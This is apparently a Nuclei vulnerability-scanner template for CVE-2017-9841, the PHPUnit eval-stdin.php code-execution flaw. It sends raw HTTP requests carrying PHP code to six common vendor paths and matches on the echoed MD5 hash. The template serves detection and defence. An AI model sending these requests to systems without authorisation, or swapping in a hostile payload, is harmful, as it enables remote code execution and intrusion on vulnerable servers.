nuclei-templates/cves/2017/CVE-2017-9841.yaml

id: CVE-2017-9841

info:
  name: PHPUnit < 4.8.28 and 5.x - 5.63 Arbitrary Code Execution
  author: Random_Robbie,pikpikcu
  severity: critical
  description: Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI
  reference:
    - https://github.com/cyberharsh/Php-unit-CVE-2017-9841
    - https://github.com/RandomRobbieBF/phpunit-brute
    - https://thephp.cc/articles/phpunit-a-security-risk
    - https://twitter.com/sec715/status/1411517028012158976
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-9841
    cwe-id: CWE-94
  tags: cve,cve2017,php,phpunit,rce

requests:

  - raw:
      - |
        GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5(phpunit_rce);?>

      - |
        GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5(phpunit_rce);?>

      - |
        GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5(phpunit_rce);?>

      - |
        GET /laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5(phpunit_rce);?>

      - |
        GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5(phpunit_rce);?>

      - |
        GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5(phpunit_rce);?>

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "6dd70f16549456495373a337e6708865"
        part: body

      - type: status
        status:
          - 200